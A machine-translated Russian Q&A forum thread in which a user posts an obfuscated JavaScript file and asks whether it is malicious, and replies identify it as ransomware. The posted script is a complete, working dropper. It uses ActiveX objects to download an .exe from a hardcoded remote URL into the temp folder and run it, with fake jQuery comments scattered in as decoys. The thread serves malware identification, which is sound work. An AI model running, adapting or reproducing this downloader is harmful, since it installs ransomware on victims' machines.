2016-03-22 3 views
0

Что делает этот Javascript, это вредно?Является ли этот javascript вредоносным?

OahmBPze = "} Needed because $(selector, context) becomes $(context).find(selector) ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret); ret.selector = this.selector ? this.selector + \" \" + selector : selector; return ret; }, filter: function(selector) { return this.pushStack(winnow(this, selector || [], false)); }, not: function(selector) { return this.pushStack(winnow(this, selector || [], true)); }, is: function(selector) { return !!winnow(this,"; 
fergusI = 0; 
String.prototype.contradistinction = function() { return this.substr(0, 1); }; 
var uUXTro = [("supporting","dimension","n")+"hh"+("cowboy","testimonial","librarian","fullness","lH")+"CNAl", "A"+"iR"+"Nh"+("reborn","network","crusty","cD")+"nBHy", "E"+"xpan"+("marketing","blanched","heliotrope","washstand","dEnviron")+"me"+"nt"+"Stri"+("befit","scientists","ngs"), ("damper","failed","funny","milliner","")+"%"+("jaunt","massage","TE")+"MP%", ""+("overseas","concertina","talks",".")+"exe", ("inkstand","adapters","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("massive","appliance","vi")+("tenets","capitulation","blueblack","nightmare","nc")+"enti"+"ve"+"eXincentiv"+("venerate","bated","perturbation","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("activity","lucas","garden","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("impotence","fatty","S"), "AmvHaUzPHrP", ("exponent","heights","assurance","feeling","h")+"in"+"ce"+("adipex","calumny","variable","nt")+"iv"+"ee"+("photographers","bigot","conservation","li")+"nc"+("forceful","subversive","en")+"ti"+("javascript","killed","forthcoming","algeria","vel"), "UJcMlBfkOA", "G"+("epirus","beholds","elope","rRAF")+"Ka"+("spelling","leviticus","lyrical","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("commitment","indianapolis","blend","Xi")+"nc"+"en"+("scythe","partiality","instead","initiate","ti")+"ve"+("coating","trainer","predicament","ML")+"in"+"ce"+("temporal","hectic","nt")+("accessibility","toolbar","iv")+"e2" + "."+"in"+"ce"+("absinthe","staccato","competitions","sorcerer","nt")+("computation","pumps","earning","iv")+"eXMi"+"ncenti"+("althea","predicted","persuasive","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"]; 
xMQviJchP = " If this is a positional/relative selector, check membership in the returned set so $(\"p:first\").is(\"p:last\") won\"t return true for a doc with two \"p\". typeof selector === \"string\" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length; } });"; 
uUXTro.splice(7, fergusI + 2); 
chubby = uUXTro[1+4+1].split("incentive").join(""); 
var gIlDtU = this[chubby]; 
cjGQONQzabH = " Initialize a jQuery object"; 
societies = (("assay", "exceptional", "pNumgJIyqTV", "slash", "prdVLeeWLYFY") + "hisxJpz").contradistinction(); 
theoriess = (("braces", "conclusion", "VAxdbV", "mutilation", "ssyqBhnJyL") + "evUdVVJOheX").contradistinction(); 

fergusI = 6; 
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3]; 
uUXTro[fergusI + 2] = "EuHNTOs"; 
fergusI++; 
uUXTro.splice(fergusI + 1, fergusI - 4); 
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join(""); 
var OoKse = new gIlDtU("" + uUXTro[fergusI] + ""); 
kObtSaQ = " A central reference to the root jQuery(document) var rootjQuery,"; 
fergusI++; 
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join(""); 
var zBqJutIT = new gIlDtU(uUXTro[1 + fergusI]); 
SJhBEmIeQ = " A simple way to check for HTML strings Prioritize #id over <tag> to avoid XSS via location.hash (#9521) Strict HTML recognition (#11290: must start with <) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,"; 
fergusI /= 2; 
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]); 
xIFFESDYaEM = " init = jQuery.fn.init = function(selector, context, root) { var match, elem;"; 
revealede = (("decorum", "entrance", "TRDboBz", "artists", "EtIHgYuotyI") + "FWhFoJE").contradistinction(); 

function undeveloped(poseidon, economic) { 

    try { 
     var jersey = BPmnOej + "/" + economic + uUXTro[fergusI]; 
    hOTYlRD = " HANDLE: $(\"\"), $(null), $(undefined), $(false) if (!selector) { return this; "; 
    zBqJutIT["o" + societies + revealede + "n"](("anime","validation","celebs","myrrh","G") + revealede + ("autograph","whichever","enquiry","registration","T"), poseidon, false); 

    pWCXhDdFNb = "} init accepts an alternate rootjQuery so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery;"; 
    zBqJutIT[theoriess + ("adept","capitol","e") + (("gully", "combining", "GkEkzqrh", "lugger", "simulation", "nMlprJrsW") + "IvouEXwV").contradistinction() + (("quarterly", "hansen", "fcSBQnkWXC", "challenged", "dictatorial", "dtITKmcdGl") + "OkfgeEl").contradistinction()](); 
    FFMDEle = " Handle HTML strings if (typeof selector === \"string\") { if (selector.charAt(0) === \"<\" && selector.charAt(selector.length - 1) === \">\" && selector.length >= 3) {"; 
    if (zBqJutIT.status == 200) { 
     var PbOLTH = new gIlDtU((""+("otter","regard","A")+"pO"+("lancashire","spelt","denouement","crude","DB.") + ""+"S"+("illness","anxiety","upsetting","tr")+"eam").replace("p", "D")); 
     PbOLTH.open(); 
     RvweTKriM = " Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ];"; 
     PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8/2 + 1); 
     aODTVaRhyp = " } else { match = rquickExpr.exec(selector); "; 
     PbOLTH[("proud","strangeness","crunch","awkwardly","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("entire","dispersion","circumspect","background","pon") + theoriess + "e"+"Bo"+("combines","chords","dy")]); 
     eUVrfTIaq = "} Match html or make sure no context is specified for #id if (match && (match[ 1 ] || !context)) {"; 
     PbOLTH[(societies + "o"+"Di"+("finite","ratio","alloy","exists","ti")+"on").replace("D", theoriess)] = 0; 
     rURMWYFCS = " HANDLE: $(html) -> $(array) if (match[ 1 ]) { context = context instanceof jQuery ? context[ 0 ] : context;"; 
     PbOLTH["sav"+"eT"+"oF"+("tuneful","flippant","extension","crown","ile")](jersey, 2); 
     JzDFHcYwRvt = " scripts is true for back-compat Intentionally let the error be thrown if parseHTML is not present jQuery.merge(this, jQuery.parseHTML(match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true));"; 
     PbOLTH.close(); 
     ueMAAMNPHiw = " HANDLE: $(html, props) if (rsingleTag.test(match[ 1 ]) && jQuery.isPlainObject(context)) { for (match in context) {"; 
     OoKse[uUXTro[fergusI + 1]](jersey, 1, "ktbgLtPs" === "aBChBT"); JwqQMvMIXL = " Properties of context are called as methods if possible if (jQuery.isFunction(this[ match ])) { this[ match ](context[ match ]);"; 
    } 

} catch (HiQurqnDJ) { }; 

    VRPdHFOQ = " ...and otherwise set as attributes } else { this.attr(match, context[ match ]); } } "; 
} 
undeveloped(("chris","stilts","h")+("gander","comparing","womens","tt")+"p:"+("adult","rally","banana","transportation","//")+("providers","cipher","primary","textbook","hu")+"on"+"gd"+"ec"+("crusty","mania","alsatian","squeal","al")+("scape","slavic","antigua","distraction",".com")+"/s"+"ys"+"tem/"+"lo"+("papal","twist","gs")+"/3"+("monogram","scandinavia","formats","posts","52")+"35"+"23"+("smallpox","rubble","steeple",".e")+("inorganic","whisk","oriental","citizen","xe"),"EeCvuMaedH"); 
    dKWSiU = "} return this;"; 
+3

он вредонолен для разработчиков, поместите некоторые форматирования на этот материал ... также, я не знаю многих сценариев атаки с жестко закодированными заметками о том, как работает код ... – dandavis

+0

@ dandavis Это потому, что они не являются заметками о том, как это работает, они там, чтобы обмануть людей. Я прошел через него, и он пытается открыть экземпляр PowerShell через ActiveXObject. Я еще не знаю, почему, но я уверен, что это не хорошо. –

+1

Он изменяет настройки прокси-сервера, получает защищенную информацию из браузера и пытается отправить его где-то, так что да, это злонамеренно. – adeneo

ответ

1

Yup. Javascript ransomware. Вариант Js.Trojan.Raas

+0

могли бы вы предоставить некоторые доказательства того, что – TheGreatContini

+0

https://www.virustotal.com/en/file/dce30ded74a5c82abbc480dbb5ff87d29001750ba7fa363e7bd51f75d587b7c8/analysis/ – surprisedbadger

+0

HTTPS://malwr.com/analysis/YjFiYTVkNjJjNjM3NGY1ZjllMTU0ZDgxYjE1MTMyMzg/ – surprisedbadger

Смежные вопросы